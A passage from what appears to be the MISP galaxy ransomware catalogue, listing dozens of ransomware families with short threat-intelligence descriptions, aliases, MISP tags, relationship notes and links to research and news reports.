http://blog.trendmicro.com/trendlabs-security-intelligence/crysis-targeting-businesses-in-australia-new-zealand-via-brute-forced-rdps/
https://www.ransomlook.io/group/crysis
https://www.bleepingcomputer.com/news/security/crysis-ransomware-master-decryption-keys-released/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/crysis-ransomware-distributed-through-remote-desktop-services
https://securelist.com/crysis-ransomware/78775/
https://www.nomoreransom.org/en/decryption-tools.html

WildFire Locker

Ransomware Zyklon variant

The tag is: *misp-galaxy:ransomware="WildFire Locker"*

WildFire Locker is also known as:

- Hades Locker

View relationships graph

WildFire Locker has relationships with:

- similar: misp-galaxy:ransomware="Hades" with estimative-language:likelihood-probability="likely"

Table 13444. Table References

Links
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/
https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html

Xorist

Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length

The tag is: *misp-galaxy:ransomware="Xorist"*

Table 13445. Table References

Links
https://support.kaspersky.com/viruses/disinfection/2911
https://decrypter.emsisoft.com/xorist
https://twitter.com/siri_urz/status/1006833669447839745

https://id-ransomware.blogspot.com/2016/06/xrtn-ransomware-rsa-1024-gnu-privacy.html

XRTN

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="XRTN "*

You Have Been Hacked!!!

Ransomware Attempt to steal passwords

The tag is: *misp-galaxy:ransomware="You Have Been Hacked!!!"*

Table 13446. Table References

Links
https://twitter.com/malwrhunterteam/status/808280549802418181

Zcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Zcrypt"*

Zcrypt is also known as:

- Zcryptor

Table 13447. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/
http://id-ransomware.blogspot.com/2016/05/zcrypt-ransomware-rsa-2048-email.html

Zimbra

Ransomware mpritsken@priest.com

The tag is: *misp-galaxy:ransomware="Zimbra"*

Table 13448. Table References

Links
http://www.bleepingcomputer.com/forums/t/617874/zimbra-ransomware-written-in-python-help-and-support-topic-crypto-howtotxt/
https://id-ransomware.blogspot.com/2016/06/zimbra-ransomware-aes-optzimbrastore.html

Zlader

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="Zlader"*

Zlader is also known as:

- Russian
- VaultCrypt
- CrypVault

View relationships graph

Zlader has relationships with:

- similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"

Table 13449. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html

Zorro

Ransomware

The tag is: *misp-galaxy:ransomware="Zorro"*

Table 13450. Table References

Links
https://twitter.com/BleepinComputer/status/844538370323812353
http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html

Zyklon

Ransomware Hidden Tear family, GNL Locker variant

The tag is: *misp-galaxy:ransomware="Zyklon"*

Zyklon is also known as:

- GNL Locker
- Zyklon Locker

View relationships graph

Zyklon has relationships with:

- similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 13451. Table References

Links
http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html

vxLock

Ransomware

The tag is: *misp-galaxy:ransomware="vxLock"*

Table 13452. Table References

Links
https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: *misp-galaxy:ransomware="Jaff"*

View relationships graph

Jaff has relationships with:

- similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"

Table 13453. Table References

Links
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html
https://www.bleepingcomputer.com/news/security/jaff-ransomware-distributed-via-necurs-malspam-and-asking-for-a-3-700-ransom/
http://id-ransomware.blogspot.com/2017/05/jaff-ransomware.html
https://www.ransomlook.io/group/jaff

https://www.symantec.com/connect/blogs/jaff-new-ransomware-spread-necurs-botnet
https://blog.malwarebytes.com/threat-analysis/2017/05/jaff-ransomware-analysis/
https://www.bleepingcomputer.com/news/security/jaff-ransomware-infected-over-100000-computers-in-just-a-few-days/

Uiwix Ransomware

Using EternalBlue SMB Exploit To Infect Victims

The tag is: *misp-galaxy:ransomware="Uiwix Ransomware"*

Uiwix Ransomware is also known as:

- UIWIX

Table 13454. Table References

Links
https://www.bleepingcomputer.com/news/security/uiwix-ransomware-using-eternalblue-smb-exploit-to-infect-victims/
http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html

SOREBRECT

Fileless, Code-injecting Ransomware

The tag is: *misp-galaxy:ransomware="SOREBRECT"*

Table 13455. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/

Cyron

claims it detected "Children Pornsites" in your browser history

The tag is: *misp-galaxy:ransomware="Cyron"*

Table 13456. Table References

Links
https://twitter.com/struppigel/status/899524853426008064
https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html

Kappa

Made with OXAR builder; decryptable

The tag is: *misp-galaxy:ransomware="Kappa"*

Table 13457. Table References

Links
https://twitter.com/struppigel/status/899528477824700416

Trojan Dz

CyberSplitter variant

The tag is: *misp-galaxy:ransomware="Trojan Dz"*

Table 13458. Table References

Links
https://twitter.com/struppigel/status/899537940539478016

Xolzsec

ransomware written by self proclaimed script kiddies that should really be considered trollware

The tag is: *misp-galaxy:ransomware="Xolzsec"*

Table 13459. Table References

Links
https://twitter.com/struppigel/status/899916577252028416
http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html

FlatChestWare

HiddenTear variant; decryptable

The tag is: *misp-galaxy:ransomware="FlatChestWare"*

Table 13460. Table References

Links
https://twitter.com/struppigel/status/900238572409823232
https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html

SynAck

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user's desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: *misp-galaxy:ransomware="SynAck"*

SynAck is also known as:

- Syn Ack

View relationships graph

SynAck has relationships with:

- similar: misp-galaxy:malpedia="SynAck" with estimative-language:likelihood-probability="likely"

Table 13461. Table References

Links
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/
https://www.bleepingcomputer.com/news/security/synack-ransomware-uses-process-doppelg-nging-technique/
https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html
https://www.zdnet.com/article/synack-ransomware-group-releases-decryption-keys-as-they-rebrand-to-el-cometa
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/
https://www.ransomlook.io/group/synack

SyncCrypt

A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.

The tag is: *misp-galaxy:ransomware="SyncCrypt"*

View relationships graph

SyncCrypt has relationships with:

- similar: misp-galaxy:malpedia="SyncCrypt" with estimative-language:likelihood-probability="likely"

Table 13462. Table References

Links
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/
http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: *misp-galaxy:ransomware="Bad Rabbit"*

Bad Rabbit is also known as:

- BadRabbit
- Bad-Rabbit

View relationships graph

Bad Rabbit has relationships with:

- similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"

Table 13463. Table References

Links
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://securelist.com/bad-rabbit-ransomware/82851/
http://www.intezer.com/notpetya-returns-bad-rabbit/

Halloware

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: *misp-galaxy:ransomware="Halloware"*

Table 13464. Table References

Links
https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/
http://id-ransomware.blogspot.com/2017/11/halloware-ransomware.html

StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User's have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named □□□□□.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the □□□□□.exe file to other computers that open the folders on the NAS devices.

The tag is: *misp-galaxy:ransomware="StorageCrypt"*

Table 13465. Table References

Links
https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/
https://id-ransomware.blogspot.com/2017/11/storagecrypter.html

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims

can recover their keys.

The tag is: *misp-galaxy:ransomware="HC7"*

Table 13466. Table References

Links
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
https://id-ransomware.blogspot.com/2017/12/hc7-ransomware.html

HC6

Predecessor of HC7

The tag is: *misp-galaxy:ransomware="HC6"*

Table 13467. Table References

Links
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
http://id-ransomware.blogspot.com/2017/11/hc6-ransomware.html

qkG

Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: *misp-galaxy:ransomware="qkG"*

qkG is also known as:

- QkG

Table 13468. Table References

Links
https://www.bleepingcomputer.com/news/security/qkg-ransomware-encrypts-only-word-documents-hides-and-spreads-via-macros/
http://id-ransomware.blogspot.com/2017/11/qkg-ransomware.html

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security

researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: *misp-galaxy:ransomware="Scarab"*

Table 13469. Table References

Links
https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/
https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/
https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware
https://twitter.com/malwrhunterteam/status/933643147766321152
https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/
https://twitter.com/demonslay335/status/1006222754385924096
https://twitter.com/demonslay335/status/1006908267862396928
https://twitter.com/demonslay335/status/1007694117449682945
https://twitter.com/demonslay335/status/1049316344183836672
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/Amigo_A_/status/1039105453735784448
https://twitter.com/GrujaRS/status/1072057088019496960
http://id-ransomware.blogspot.com/2017/06/scarab-ransomware.html
https://www.ransomlook.io/group/scarab

File Spider

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"*

File Spider is also known as:

- Spider

Table 13470. Table References

Links
https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/
http://id-ransomware.blogspot.com/2017/12/file-spider-ransomware.html

FileCoder

A barely functional piece of macOS ransomware, written in Swift.

The tag is: *misp-galaxy:ransomware="FileCoder"*

FileCoder is also known as:

- FindZip
- Patcher

View relationships graph

FileCoder has relationships with:

- similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 13471. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FileCoder

MacRansom

A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.

The tag is: *misp-galaxy:ransomware="MacRansom"*

View relationships graph

MacRansom has relationships with:

- similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-

probability="likely"

Table 13472. Table References

Links
https://objective-see.com/blog/blog_0x25.html

GandCrab

A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.

The tag is: *misp-galaxy:ransomware="GandCrab"*

View relationships graph

GandCrab has relationships with:

- dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"

Table 13473. Table References

Links
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/
https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/gandcrab-v5-ransomware-utilizing-the-alpc-task-scheduler-exploit/
https://id-ransomware.blogspot.com/2018/01/gandcrab-ransomware.html
https://www.ransomlook.io/group/gandcrab
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shuts-down-after-claiming-to-have-made-over-2-billion/
https://www.trendmicro.com/en_us/research/19/f/uncovering-the-evolution-of-gandcrab-ransomware.html
https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-024a

https://securelist.com/gandcrab-ransomware/89631/

ShurL0ckr

Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr's operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.

The tag is: *misp-galaxy:ransomware="ShurL0ckr"*

Table 13474. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Cryakl

ransomware

The tag is: *misp-galaxy:ransomware="Cryakl"*

View relationships graph

Cryakl has relationships with:

- similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 13475. Table References

Links
https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remove-restore-data/
https://www.technologynews.tech/cryakl-ransomware-virus
http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/

Thanatos

first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)

The tag is: *misp-galaxy:ransomware="Thanatos"*

View relationships graph

Thanatos has relationships with:

- similar: misp-galaxy:malpedia="Thanatos" with estimative-language:likelihood-probability="likely"

Table 13476. Table References

Links
https://mobile.twitter.com/EclecticIQ/status/968478323889332226
https://www.eclecticiq.com/resources/thanatos—ransomware-first-ransomware-ask-payment-bitcoin-cash?type=intel-report
http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html

RSAUtil

RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: *misp-galaxy:ransomware="RSAUtil"*

RSAUtil is also known as:

- Vagger
- DONTSLIP

Table 13477. Table References

Links
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks
https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html
http://id-ransomware.blogspot.lu/2017/04/

Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file's name.

The tag is: *misp-galaxy:ransomware="Qwerty Ransomware"*

Table 13478. Table References

Links

https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: *misp-galaxy:ransomware="Zenis Ransomware"*

Table 13479. Table References

Links
https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/
https://id-ransomware.blogspot.com/2018/03/zenis-ransomware.html

Flotera Ransomware

The tag is: *misp-galaxy:ransomware="Flotera Ransomware"*

Table 13480. Table References

Links
https://www.bleepingcomputer.com/news/security/author-of-polski-vortex-and-flotera-ransomware-families-arrested-in-poland/
http://id-ransomware.blogspot.com/2017/03/flotera-ransomware.html

Black Ruby

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: *misp-galaxy:ransomware="Black Ruby"*

Black Ruby is also known as:

- BlackRuby

Table 13481. Table References

Links
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf

WhiteRose

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: *misp-galaxy:ransomware="WhiteRose"*

Table 13482. Table References

Links
https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/
http://id-ransomware.blogspot.com/2018/03/whiterose-ransomware.html

PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user’s files and folders on the user’s desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: *misp-galaxy:ransomware="PUBG Ransomware"*

Table 13483. Table References

Links
https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/
https://id-ransomware.blogspot.com/2018/04/pubg-ransomware.html

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated

attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don't take much time preparing the attack or the payload. Instead, they're rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: *misp-galaxy:ransomware="LockCrypt"*

Table 13484. Table References

Links
https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/
https://twitter.com/malwrhunterteam/status/1034436350748053504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
http://id-ransomware.blogspot.com/2017/06/lockcrypt-ransomware.html

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

The tag is: *misp-galaxy:ransomware="Magniber Ransomware"*

Table 13485. Table References

Links
https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
https://twitter.com/demonslay335/status/1005133410501787648
http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html

Vurten

The tag is: *misp-galaxy:ransomware="Vurten"*

Table 13486. Table References

Links
https://twitter.com/siri_urz/status/981191281195044867
http://id-ransomware.blogspot.com/2018/04/vurten-ransomware.html
https://www.ransomlook.io/group/vurten

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: *misp-galaxy:ransomware="Reveton ransomware"*

Table 13487. Table References

Links
https://www.bleepingcomputer.com/news/security/microsoft-engineer-charged-in-reveton-ransomware-case/
https://en.wikipedia.org/wiki/Ransomware#Reveton
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/

Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users' anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

The tag is: *misp-galaxy:ransomware="Fusob"*

Table 13488. Table References

Links
https://en.wikipedia.org/wiki/Ransomware#Fusob

OXAR

The tag is: *misp-galaxy:ransomware="OXAR"*

Table 13489. Table References

Links
https://twitter.com/demonslay335/status/981270787905720320

BansomQare Manna Ransomware

The tag is: *misp-galaxy:ransomware="BansomQare Manna Ransomware"*

Table 13490. Table References

Links
http://id-ransomware.blogspot.com/2018/03/bansomqarewanna-ransomware.html

Haxerboi Ransomware

The tag is: *misp-galaxy:ransomware="Haxerboi Ransomware"*

SkyFile

The tag is: *misp-galaxy:ransomware="SkyFile"*

Table 13491. Table References

Links
https://twitter.com/malwrhunterteam/status/982229994364547073
http://id-ransomware.blogspot.com/2018/04/skyfile-ransomware.html

MC Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"

The tag is: *misp-galaxy:ransomware="MC Ransomware"*

Table 13492. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

CSGO Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "csgo"

The tag is: *misp-galaxy:ransomware="CSGO Ransomware"*

Table 13493. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

XiaoBa ransomware

The tag is: *misp-galaxy:ransomware="XiaoBa ransomware"*

Table 13494. Table References

Links
https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/
https://twitter.com/malwrhunterteam/status/923847744137154560
https://twitter.com/struppigel/status/926748937477939200
https://twitter.com/demonslay335/status/968552114787151873
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/malwrhunterteam/status/1004048636530094081
https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: *misp-galaxy:ransomware="NMCRYPT Ransomware"*

Table 13495. Table References

Links
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/
https://www.enigmasoftware.com/nmcryptansomware-removal/

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal

design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: *misp-galaxy:ransomware="Iron"*

Table 13496. Table References

Links
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html
http://id-ransomware.blogspot.com/2018/04/ironlocker-ransomware.html

Tron ransomware

The tag is: *misp-galaxy:ransomware="Tron ransomware"*

Table 13497. Table References

Links
https://twitter.com/malwrhunterteam/status/985152346773696512
http://id-ransomware.blogspot.com/2018/04/tron-ransomware.html

Unnamed ramsomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 1"*

Table 13498. Table References

Links
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case

where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: *misp-galaxy:ransomware="HPE iLO 4 Ransomware"*

Table 13499. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/
https://twitter.com/M_Shahpasandi/status/989157283799162880
https://id-ransomware.blogspot.com/2018/04/hpe-ilo-ransomware.html

Sigrun Ransomware

